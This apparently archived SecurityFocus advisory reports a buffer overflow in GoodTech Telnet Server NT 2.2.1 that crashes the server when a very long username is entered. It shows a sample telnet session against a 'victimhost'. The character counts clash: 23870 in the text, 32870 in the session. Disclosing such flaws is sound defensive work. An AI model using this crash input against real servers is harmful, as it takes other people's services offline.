source: https://www.securityfocus.com/bid/862/info
GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.
GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow.
$ telnet victimhost
Trying victimhost...
Connected to victimhost.
Escape character is '^]'.
Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)
(C) Copyright 1996-1999 GoodTech Systems, Inc.
Login username: (32870 characters)
...server crash
